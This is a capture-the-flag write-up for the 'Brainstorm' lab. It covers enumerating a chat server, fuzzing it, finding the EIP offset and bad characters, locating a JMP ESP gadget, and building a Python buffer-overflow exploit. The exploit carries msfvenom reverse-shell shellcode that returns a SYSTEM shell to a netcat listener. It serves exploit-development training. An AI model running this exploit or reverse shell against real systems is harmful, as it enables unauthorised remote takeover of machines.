Brainstorm

advanced1h 20mWriteup

Reverse engineer and exploit a chat program

Learning Objectives

  • Reverse engineer application
  • Find buffer overflow
  • Develop exploit
  • Get SYSTEM shell

Brainstorm is a buffer overflow focused room. Learn to reverse engineer a chat application, find the buffer overflow vulnerability, and develop a working exploit to gain SYSTEM access.

This room requires understanding of buffer overflows, x86 assembly, and exploit development. If you're new to these topics, consider starting with the Buffer Overflow Prep room first.

Reconnaissance

bash
1606070;"># Port scan
2nmap -sV -sC -p- TARGET_IP
3606070;"># Results:
4606070;"># 21/tcp - FTP (vsftpd 3.0.3) - Anonymous allowed!
5606070;"># 3389/tcp - RDP
6606070;"># 9999/tcp - Unknown service (custom chat app)
7 
8606070;"># FTP enumeration
9ftp TARGET_IP
10606070;"># Login: anonymous
11606070;"># Password: (empty)
12 
13ftp> dir
14606070;"># chatserver.exe
15606070;"># essfunc.dll
16 
17ftp> binary
18ftp> get chatserver.exe
19ftp> get essfunc.dll

We've downloaded the vulnerable application and its DLL for local analysis. The application runs on port 9999.

Application Analysis

bash
1606070;"># Connect to the chat server
2nc TARGET_IP 9999
3 
4606070;"># Application prompts:
5606070;"># Welcome to Brainstorm chat (beta)
6606070;"># Please enter your username (max 20 characters): test
7606070;"># Write a message: AAAA
8 
9606070;"># The message field might be vulnerable!

Local Testing

Always test exploits locally first. Set up a Windows VM with Immunity Debugger and run chatserver.exe there. This prevents crashing the target repeatedly.
bash
1606070;"># Test for crash locally
2606070;"># In Windows VM: run chatserver.exe
3606070;"># In attacker machine:
4 
5python3 -c 606070;">#a5d6ff;">"print('A'*3000)" | nc LOCAL_VM_IP 9999
6606070;"># Enter username first, then send payload
7606070;"># Application crashes! Buffer overflow confirmed.

Fuzzing & Finding Offset

python
1606070;">#!/usr/bin/python3
2606070;"># fuzzer.py - Find approximate crash point
3 
4import socket
5import time
6 
7ip = 606070;">#a5d6ff;">"LOCAL_VM_IP"
8port = 9999
9 
10buffer = 606070;">#a5d6ff;">"A" * 100
11 
12while True:
13 try:
14 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
15 s.connect((ip, port))
16 
17 606070;"># Receive welcome
18 s.recv(1024)
19 
20 606070;"># Send username
21 s.send(b606070;">#a5d6ff;">"admin\r\n")
22 s.recv(1024)
23 
24 606070;"># Send payload
25 print(f606070;">#a5d6ff;">"Sending {len(buffer)} bytes...")
26 s.send(buffer.encode() + b606070;">#a5d6ff;">"\r\n")
27 s.recv(1024)
28 
29 s.close()
30 buffer += 606070;">#a5d6ff;">"A" * 100
31 time.sleep(1)
32 
33 except Exception as e:
34 print(f606070;">#a5d6ff;">"Crashed at {len(buffer)} bytes")
35 break
bash
1606070;"># Crash occurs around 2100 bytes
2 
3606070;"># Generate unique pattern to find exact offset
4msf-pattern_create -l 3000
5 
6606070;"># Send pattern and note EIP value in debugger
7606070;"># EIP: 31704330
8 
9606070;"># Find offset
10msf-pattern_offset -l 3000 -q 31704330
11606070;"># Exact match at offset 2012

Finding Bad Characters

python
1606070;">#!/usr/bin/python3
2606070;"># badchars.py - Identify bad characters
3 
4import socket
5 
6ip = 606070;">#a5d6ff;">"LOCAL_VM_IP"
7port = 9999
8 
9606070;"># Offset to EIP
10offset = 2012
11 
12606070;"># All characters except null byte
13badchars = (
14 b606070;">#a5d6ff;">"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
15 b606070;">#a5d6ff;">"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
16 b606070;">#a5d6ff;">"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
17 b606070;">#a5d6ff;">"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
18 b606070;">#a5d6ff;">"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
19 b606070;">#a5d6ff;">"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
20 b606070;">#a5d6ff;">"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
21 b606070;">#a5d6ff;">"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
22 b606070;">#a5d6ff;">"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
23 b606070;">#a5d6ff;">"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
24 b606070;">#a5d6ff;">"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
25 b606070;">#a5d6ff;">"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
26 b606070;">#a5d6ff;">"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
27 b606070;">#a5d6ff;">"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
28 b606070;">#a5d6ff;">"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
29 b606070;">#a5d6ff;">"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
30)
31 
32buffer = b606070;">#a5d6ff;">"A" * offset
33buffer += b606070;">#a5d6ff;">"BBBB" # EIP placeholder
34buffer += badchars
35 
36s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
37s.connect((ip, port))
38 
39s.recv(1024)
40s.send(b606070;">#a5d6ff;">"admin\r\n")
41s.recv(1024)
42s.send(buffer + b606070;">#a5d6ff;">"\r\n")
43s.close()
44 
45606070;"># Check memory dump in debugger for truncated/modified characters
46606070;"># Bad characters found: \x00 (null byte only)
In Immunity Debugger, right-click ESP and "Follow in Dump". Compare the hex dump with your badchars array. Any missing or modified characters are bad and cannot be used in shellcode.

Finding JMP ESP

bash
1606070;"># In Immunity Debugger with mona.py
2!mona modules
3606070;"># Look for modules without ASLR/DEP/SafeSEH
4606070;"># essfunc.dll has no protections!
5 
6!mona find -s 606070;">#a5d6ff;">"\xff\xe4" -m essfunc.dll
7606070;"># JMP ESP found at: 0x625014DF
8 
9606070;"># Verify in debugger:
10606070;"># Go to address 625014DF - should show FFE4 (JMP ESP)

Little Endian

x86 uses little-endian byte order. Address 0x625014DF becomes \xDF\x14\x50\x62 in your exploit.

Final Exploit

bash
1606070;"># Generate shellcode
2msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -b 606070;">#a5d6ff;">'\x00' -f python EXITFUNC=thread
3 
4606070;"># Copy the generated shellcode
python
1606070;">#!/usr/bin/python3
2606070;"># exploit.py - Final buffer overflow exploit
3 
4import socket
5 
6ip = 606070;">#a5d6ff;">"TARGET_IP" # Change to actual target when ready
7port = 9999
8 
9offset = 2012
10jmp_esp = b606070;">#a5d6ff;">"\xDF\x14\x50\x62" # 0x625014DF in little endian
11nop_sled = b606070;">#a5d6ff;">"\x90" * 16
12 
13606070;"># msfvenom shellcode (paste your generated shellcode here)
14shellcode = (
15 b606070;">#a5d6ff;">"\xdb\xc0\xd9\x74\x24\xf4\x5b\xba\x9f\xb6\x86\x28"
16 606070;"># ... rest of shellcode ...
17)
18 
19buffer = b606070;">#a5d6ff;">"A" * offset
20buffer += jmp_esp
21buffer += nop_sled
22buffer += shellcode
23 
24try:
25 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
26 s.connect((ip, port))
27 
28 606070;"># Receive welcome
29 print(606070;">#a5d6ff;">"[*] Receiving welcome...")
30 s.recv(1024)
31 
32 606070;"># Send username
33 print(606070;">#a5d6ff;">"[*] Sending username...")
34 s.send(b606070;">#a5d6ff;">"admin\r\n")
35 s.recv(1024)
36 
37 606070;"># Send exploit
38 print(606070;">#a5d6ff;">"[*] Sending exploit...")
39 s.send(buffer + b606070;">#a5d6ff;">"\r\n")
40 
41 print(606070;">#a5d6ff;">"[+] Exploit sent! Check your listener.")
42 s.close()
43 
44except Exception as e:
45 print(f606070;">#a5d6ff;">"[-] Error: {e}")
bash
1606070;"># Start listener
2nc -lvnp 4444
3 
4606070;"># Run exploit against target
5python3 exploit.py
6 
7606070;"># Shell received as SYSTEM!
8606070;"># (chatserver.exe runs as SYSTEM)
9 
10whoami
11606070;"># nt authoritysystem

Buffer Overflow Methodology

Complete BoF Process

1
FuzzFind approximate crash point
2
PatternUse msf-pattern to find exact EIP offset
3
Control EIPVerify you can overwrite EIP precisely
4
Bad CharactersIdentify characters that break shellcode
5
Find JMP ESPLocate reliable return address in unprotected module
6
Generate Shellcodemsfvenom with bad character exclusion
7
ExploitSend payload with NOP sled and shellcode

Knowledge Check

Quick Quiz
Question 1 of 2

Why do we use a NOP sled before shellcode?

Key Takeaways

  • Buffer overflows require methodical step-by-step exploitation
  • Always develop and test exploits locally before targeting live systems
  • Bad characters corrupt shellcode and must be excluded
  • JMP ESP gadgets must come from modules without memory protections
  • NOP sleds provide reliability for shellcode execution
  • Little-endian byte order reverses addresses in exploits